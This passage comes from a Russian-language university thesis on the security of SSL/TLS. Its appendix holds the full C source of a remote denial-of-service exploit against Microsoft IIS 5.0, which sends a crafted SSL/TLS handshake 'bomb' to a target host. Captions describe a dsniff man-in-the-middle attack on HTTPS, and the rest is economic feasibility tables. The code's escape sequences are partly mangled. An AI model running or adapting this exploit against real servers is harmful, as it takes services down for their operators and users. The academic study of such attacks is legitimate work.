,0x03,0x55,0x04,0x07,0x13,0x0B,0x54,0x6F,0x72,0x72,0x65,0x62,0x6C,0x61,0x63
,0x6F,0x73,0x31,0x0F,0x30,0x0D,0x06,0x03,0x55,0x04,0x0A,0x13,0x06,0x53,0x32
,0x31,0x73,0x65,0x63,0x31,0x19,0x30,0x17,0x06,0x03,0x55,0x04,0x0B,0x13,0x10
,0x77,0x77,0x77,0x2E,0x77,0x61,0x73,0x61,0x68,0x65,0x72,0x6F,0x2E,0x6F,0x72
,0x67,0x31,0x0F,0x30,0x0D,0x06,0x03,0x55,0x04,0x03,0x13,0x06,0x53,0x32,0x31
,0x73,0x65,0x63,0x31,0x26,0x30,0x24,0x06,0x09,0x2A,0x86,0x48,0x86,0xF7,0x0D
,0x01,0x09,0x01,0x16,0x17,0x64,0x65,0x76,0x65,0x6C,0x6F,0x70,0x65,0x72,0x73
,0x40,0x77,0x61,0x73,0x61,0x68,0x65,0x72,0x6F,0x2E,0x6F,0x72,0x67,0x82,0x01
,0x00,0x30,0x0C,0x06,0x03,0x55,0x1D,0x13,0x04,0x05,0x30,0x03,0x01,0x01,0xFF
,0x30,0x0D,0x06,0x09,0x2A,0x86,0x48,0x86,0xF7,0x0D,0x01,0x01,0x04,0x05,0x00
,0x03,0x81,0x81,0x00,0x75,0x2D,0x19,0xE1,0xAD,0x19,0x77,0x75,0xCB,0xCB,0x76
,0x88,0x38,0xF8,0xD5,0x27,0xD2,0xAB,0x79,0x7F,0x39,0x4A,0x9C,0x56,0x9A,0x5F
,0xCA,0x0C,0xAC,0x21,0x16,0xF6,0xF5,0xE2,0xE8,0xE1,0xB9,0xC2,0x29,0x25,0x52
,0xAF,0xF1,0x83,0x28,0xB0,0x00,0x7B,0xA6,0x12,0xE6,0xC7,0x4D,0x93,0x0C,0x7E
,0xD0,0x83,0x1E,0x59,0x4D,0xEB,0xDF,0xDC,0xED,0x05,0x01,0x84,0xC7,0x92,0x52
,0x65,0x26,0xAA,0x08,0x45,0x65,0x5A,0xB6,0x33,0xDC,0x2A,0xBB,0x85,0x26,0x14
,0x9C,0xBD,0xED,0xFB,0xBB,0x53,0xB3,0xA4,0xB3,0x27,0xC7,0x25,0x02,0xD4,0x0D
,0xAA,0x5E,0x2F,0x53,0xD4,0x1F,0xFB,0xFE,0x07,0x24,0xC6,0x27,0x65,0x59,0x35
,0x43,0x7D,0x28,0xD7,0x42,0x11,0x57,0x84,0x17,0x0D,0x99,0x2B,0x16,0x03,0x00
,0x00,0x84,0x10,0x00,0x00,0x80,0x2A,0x68,0x9A,0xBC,0x58,0x4D,0xA8,0xDD,0xD3
,0x95,0xC0,0xF2,0x70,0x98,0xC8,0xBE,0xE5,0x0C,0x0D,0xC1,0x40,0xD5,0x95,0x17
,0xD6,0xBF,0x04,0x2B,0xEB,0x18,0x54,0x2D,0x9F,0x72,0x55,0xCA,0x84,0x26,0xF2
,0xAF,0xFA,0x13,0xE2,0x15,0x9A,0x88,0x31,0x92,0xC5,0x1E,0xB7,0xF8,0xD7,0x2D
,0x97,0x9A,0x46,0xEF,0x73,0xFF,0xB3,0xA1,0x92,0x0B,0x64,0xC5,0xC8,0xA9,0xBB
,0x24,0xE5,0xD2,0x4B,0x49,0x0D,0x1B,0xB1,0x5F,0xE4,0x5E,0x2E,0x60,0x29,0x48
,0xB5,0xC2,0x1C,0xA5,0x53,0x7B,0x7B,0x55,0xFD,0x1A,0xAF,0x89,0x0B,0x0B,0xB4
,0x91,0x0E,0xE5,0x32,0x90,0xCD,0xB4,0xC5,0xD6,0x30,0x01,0xCD,0x83,0x29,0xDA
,0x4D,0xA5,0x51,0x0B,0x95,0xDC,0xF0,0x83,0x3C,0x81,0x18,0x3D,0x90,0x83,0x16
,0x03,0x00,0x00,0x86,0x0F,0x00,0x00,0x82,0x00,0x80,0xC0,0x56,0x18,0x55,0x92
,0xEF,0x42,0xC2,0x96,0xB5,0x9D,0x81,0x9D,0x3E,0x2A,0x9C,0x60,0x9B,0x9F,0x65
,0xF7,0xFF,0xD0,0xE8,0x2E,0xB9,0x58,0x3A,0xDC,0x68,0xA3,0xBD,0x05,0x5B,0x28
,0x66,0xF5,0x23,0x87,0xE7,0x0C,0xCE,0xD1,0x07,0x4D,0x8D,0xB8,0x40,0x86,0x12
,0xFF,0x60,0x73,0x0F,0xA6,0x91,0x71,0xAC,0x23,0xCC,0x5A,0xB1,0x5C,0xAD,0x62
,0xD5,0xE9,0x73,0xC7,0xCC,0x13,0x95,0x08,0xCE,0xD9,0x75,0xB4,0xB1,0xE5,0x46
,0x0C,0x85,0xE1,0x50,0x1A,0xBC,0x53,0x4B,0xD1,0x5B,0x1A,0xD7,0x7A,0xD7,0x47
,0xC5,0xFC,0x5B,0xA8,0x19,0xB8,0x6D,0xF6,0xD6,0x7B,0x97,0x38,0xD4,0x71,0x3E
,0x60,0xA3,0xCB,0x02,0x4C,0xB5,0x26,0xEE,0xB4,0xF9,0x31,0x3F,0xB7,0xAE,0x65
,0xBC,0x4C,0x6F,0x14,0x03,0x00,0x00,0x01,0x01,0x16,0x03,0x00,0x00,0x40,0x72
,0x12,0x84,0x91,0x08,0x56,0xDC,0x9A,0x1F,0x49,0x35,0x9F,0xC7,0x70,0x16,0x14
,0xAE,0xED,0x32,0x89,0x46,0x10,0x18,0x73,0xB5,0x40,0xB7,0xBA,0xCC,0xB0,0x75
,0xCF,0x96,0x3E,0xDC,0x0F,0x97,0xEE,0xDC,0x3A,0x0F,0xB7,0xD2,0xCD,0x8B,0x0C
,0x99,0xDB,0xA6,0x1E,0xD0,0xF9,0x32,0xCD,0x3B,0xE6,0x32,0xBD,0xC4,0xA9,0x62
,0x2F,0xD5,0xC6};
struct ssl_hello {
char handshake;
short version;
short length;
char client_hello;
char client_length[3];
short client_version;
int timestamp;
char random_bytes[28];
char session_id_length;
char session_id[32];
short cipher_length;
char cipher_suite[52];
char compression_length;
char compression_method;
} __attribute__((packed)) ssl_hello;
int tls;
int
main(int argc, char *argv[])
{
struct sockaddr_in addr;
int sock,i;
char buffer[32];
setvbuf(stdout, NULL, _IONBF, 0);
printf('n<*> S21sec Microsoft IIS 5.0 SSL/TLS Remote DoS <*>nn');
tls=0;
if ((argc != 4) && (argc != 3))
{
printf(' Usage: %s [host] [port] {t}n', argv[0]);
printf(' host - Host (name/IP) to connect to.n');
printf(' port - TCP port to connect to.n');
printf(' t - Enable TLS (disabled by default).nn');
exit(1);
}
if (argc == 4)
{
if ( strcmp(argv[3], 't'))
{
printf(' -> Ouch!! What is '%s'?nn',argv[3]);
exit(1);
}
else
{
tls=1;
bin_data[2]=0x01;
}
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[2]));
if ( exist_host( argv[1], (u_long *)&(addr.sin_addr.s_addr) ) )
{
printf(' -> Ouch!! Wrong or nonexistant host '%s'!!nn',argv[1]);
exit(1);
}
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf(' -> Error on socket(): %sn', strerror(errno));
exit(1);
}
printf(' -> Connecting to %s:%s...',argv[1],argv[2]);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
{
printf('n -> Error on connect(): %sn', strerror(errno));
exit(1);
}
init_hello();
printf(' OKn -> Sending %s Client Hello...',((tls)?'TLS':'SSL'));
if (write(sock, (void *)&ssl_hello, sizeof(struct ssl_hello)) == -1)
{
printf('n -> Error on write(): %sn', strerror(errno));
exit(1);
}
printf(' OKn -> Waiting for %s Server Hello...',((tls)?'TLS':'SSL'));
if (read(sock, (void *)buffer, sizeof(buffer)) == -1)
{
printf('n -> Error on read(): %sn', strerror(errno));
exit(1);
}
printf(' OKn -> Sending bomb...');
if (write(sock, (void *)bin_data, sizeof(bin_data)) == -1)
{
printf('n -> Error on write(): %sn', strerror(errno));
exit(1);
}
for (i=0; i<6 ; i++)
{
printf(' B00M!!');
usleep(350000);
}
close(sock);
printf('n ->n -> OK. If DoS has been worked you will not be able to negotiate %s with %s:%snn',
((tls)?'TLS':'SSL'),argv[1],argv[2]);
exit(0);
}
int
exist_host( char *nom_host, u_long *bin_host )
{
struct hostent *hinfo;
struct sockaddr_in host_tmp;
struct in_addr host_binario;
memset( (char *)&host_tmp, 0, sizeof(host_tmp) );
memset( (char *)&host_binario, 0, sizeof(host_binario) );
host_tmp.sin_family = AF_INET;
if ( inet_aton( nom_host, &host_binario) )
{
memcpy( (char *)bin_host, (char *)&host_binario, sizeof(host_binario));
return 0;
}
if ( (hinfo = gethostbyname( nom_host )) ) /* Put nom_host into bin_host */
{
memcpy((char *)&host_tmp.sin_addr, hinfo->h_addr, hinfo->h_length);
memcpy((char *)bin_host, (char *) &host_tmp.sin_addr.s_addr,
sizeof( host_tmp.sin_addr.s_addr));
return 0;
}
return 1;
}
void
init_hello(void)
{
ssl_hello.handshake = 0x16;
if (!tls)
ssl_hello.version = htons(0x0300);
else
ssl_hello.version = htons(0x0301);
ssl_hello.length = htons(0x007f);
ssl_hello.client_hello = 0x01;
memcpy((void *)ssl_hello.client_length, (void *)'x00x00x7b', 3);
if (!tls)
ssl_hello.client_version = htons(0x0300);
else
ssl_hello.client_version = htons(0x0301);
ssl_hello.timestamp = htonl(0x407babc0);
memset((void *) ssl_hello.random_bytes, 0x66, 28);
ssl_hello.session_id_length = 0x20;
memset((void *) ssl_hello.session_id, 0x66, 32);
ssl_hello.cipher_length = htons(0x0034);
memcpy((void *)ssl_hello.cipher_suite, (void *)cipher_suites, sizeof(cipher_suites));
ssl_hello.compression_length = 0x01;
ssl_hello.compression_method = 0x00;
}
Приложение Б
Программная реализация Dos-атаки
Рисунок Б.1 - Рабочее окно програмного продукта
Приложение В
Атака «посередника» на SSL при применении утилиты dsniff
Рисунок В.1 - Генерация сертификата, запуск MITM демона
Рисунок В.2 - Подмена DNS
Рисунок В.3 - Добавление сертификата пользователем
Рисунок В.4 - Нападающий получает полный доступ к данным HTTPS
Приложение Г
Таблицы выходных данных для ТЕО
Таблица Г.1- Примененные основные фонды и их стоимость
|
Наименнование ОФ
|
Стоимость ОФ (грн.)
|
|
|
Первоначальная
|
Остат. на данний год
|
|
|
ПЭВМ (Сeleron 1,6)
|
|
1400
|
|
|
|
|
|
|
Итого:
|
|
1400
|
|
|
Таблица Г.2 - Стоимость услуг сторонних организаций
|
Наименование услуги
|
Стоимость услуги (грн.)
|
|
|
Интернет-провайдер (Utel)
|
200
|
|
|
Заправка картриджа
|
80
|
|
|
Итого:
|
280
|
|
|
Таблиця Г.3 - Стоимость командировочных затрат
|
Город
|
Стоимость командировки (грн.)
|
Стоимость командировок
|
общая сумма (грн.)
|
|
|
Киев
|
230
|
1
|
230
|
|
|
Итого:
|
|
|
230
|
|
|
Таблица Г.4 - Другие затраты
|
Наименование затрат
|
Стоимость (грн.)
|
Количество
|
Общая сума (грн.)
|
|
|
Консультація БЖД
|
37
|
3
|
111
|
|
|
Итого:
|
|
|
111
|
|
|
Организация условий выполнения работы.
Разработка проводится в условиях научно-проектной организации, которая является юридическим лицом _____ формы собственности. ОФ, которые имеются на момент выполнения данного проекта, являются его собственностью. Следовательно, учитываются только амортизационные отчисления от их остаточной стоимости.
Считается, что в данной работе на этапе разработки проекту могут быть заняты следующие категории специалистов:
- аналитик компьютерных систем в лице студента;
- руководитель проекту;
- консультант по экономической части.
Таблица Г.6 - Выходные данные для ТЭО
|
№
|
Наименование
|
Обозначения
|
Единицы измерения
|
Значение
|
|
|
1
|
Затраты на маркетинг
|
М
|
Грн.
|
1000
|
|
|
2
|
Стоимость ОФ(разработка)
|
ОФр
|
Грн.
|
800
|
|
|
3
|
Стоимость ОФ(тиражирование)
|
ОФт
|
Грн.
|
600
|
|
|
4
|
Затраты на реализацию
|
Sb
|
Грн.
|
900
|
|
|
5
|
Стоимость сторонних организаций
|
СУ
|
Грн.
|
280
|
|
|
6
|
Затраты на командировки
|
КОМ
|
Грн.
|
230
|
|
|
7
|
Приобретение ИТ
|
НОУ
|
Грн.
|
2535
|
|
|
8
|
Амортизационные отчисления
|
Amt
|
%
|
17
|
|
|
9
|
Другие затраты
|
ДЗ
|
Грн.
|
111
|
|
|
10
|
Необлагаемый налогом мин.зарпл.
|
НМ
|
Грн.
|
17
|
|
|
11
|
Средне рассчитываемая ставка процента по заёмным средствам
|
СРСП
|
%
|
18
|
|
|
12
|
Ставка налогообложения прибыли
|
СтНП
|
%
|
25
|
|
|
13
|
Ставка налогообложения выручки
|
СтНВ
|
%
|
-
|
|
|
14
|
Налог на доб. стоимость
|
ПДВ
|
%
|
20
|
|
|
15
|
Объем тиража
|
R
|
Шт.
|
3
|
|
|
16
|
Сумма платежей и налогов
|
сonst
|
Грн.
|
540
|
|
|
17
|
Плече
|
ЗС/СС
|
|
1/1
|
|
|
Требуется выполнить:
- Расчет затрат на маркетинг;
- Расчет затрат на сбыт;
- Расчет затрат на разработку;
- Расчет затрат на тиражирование;
- Расчет полных затрат;
- Планирование структуры пассива;
- Расчет цены и финансовых результатов;
- Расчет конкурентоспособности;
Консультант по экономической части проф.Денисова И.Г.
Приложение Д
Протокол выходных данных
Тема: «Анализ защищенности протокола SSL/TLS при применении различных криптопримитивов»
Наименование аналога: Программная реализация атаки на протокол SSL , разработана в 2004 году, Украина.
Таблица К.1 - Целевая направленность разработки
|
№
|
Вопросы, на которые необходимо ответить
|
Тип представления ответов
|
|
|
1
|
1.1 Ознакомление с принципом работы аналога. 1.2 Анализ защищенности аналога. 1.3 Недостатки в известном аналоге.
|
- Описание возможностей применения; - Описание алгоритмов, программных средств реализации протокола, примененных раньше языков и средств программирования атак на протокол SSL; - Описание примененного алгоритма, положеного в основу работы протоколу SSL.
|
|
|
2
|
Особенности разработки дипломной работы
|
- Необходимое программное обеспечение, которое позволяет проводить исследования; - Сравнить атаки на аналог.
|
|
|
3
|
Масштаб работы
|
- Системотехническое описание всей программы с исследованием характеристик работы ее блоков; - Исследование параметров работы протокола SSL; - Исследование условий применения алгоритма атаки; - Методы борьбы с существующими атаками.
|
|
|
Таблица Д.2 - Применение других ресурсов и средств ИТ
|
Этапы, на которых использован ресурс
|
Оформление лиц - ых патентов
|
Применение лиц - ых программ, ПС
|
Приобретение специальных ІТ, ПС
|
Приобретение лицензионной информации
|
|
|
Кол-во, ед. изм.
|
Цена, грн.
|
Кол-во, ед. изм.
|
Цена, грн.
|
Кол-во, ед. изм.
|
Цена, грн.
|
Кол-во, ед. изм.
|
Цена, грн..
|
|
|
Маркетинг
|
|
|
|
|
|
|
|
|
|
|
Разработка
|
|
|
2 пак.
|
1200
|
|
|
1 вид.
|
35
|
|
|
Тиражирование ед. тиражу
|
|
|
|
|
2 пак.
|
1300
|
|
|
|
|
Сбыт
|
|
|
|
|
|
|
|
|
|
|
Оформление ед. тиражу
|
|
|
|
|
|
|
|
|
|
|
Технические параметры, характеристики объекта разработки:
Таблица Д.3 - Перечень технических параметров
|
Наименование параметра
|
Ед. изм.
|
Числовые значения
|
|
|
|
разработки
|
аналога
|
|
|
Безопасное время опер. системи
|
мин.
|
3
|
15
|
|
|
Тип атаки
|
name
|
Dos
|
DES
|
|
|
Кол-во опер в сек..
|
оп/сек
|
|
|
|
|
Вероятность успеха
|
%
|
100
|
80
|
|
|
Особенности тиражирования:
Таблица Д.4 - Тиражируемый результат, способ его получения
|
1
|
Кол-во копий
|
3
|
|
|
2
|
Конечный результат
|
- техническая документация; - программная реализация атаки.
|
|
|
3
|
Способ получения тиражу
|
- изготовление CD-дисков с demo-версией.
|
|
|
4
|
Цели
|
- выполнение лаб. работ студентами; - публикация НТИ;
|
|
|
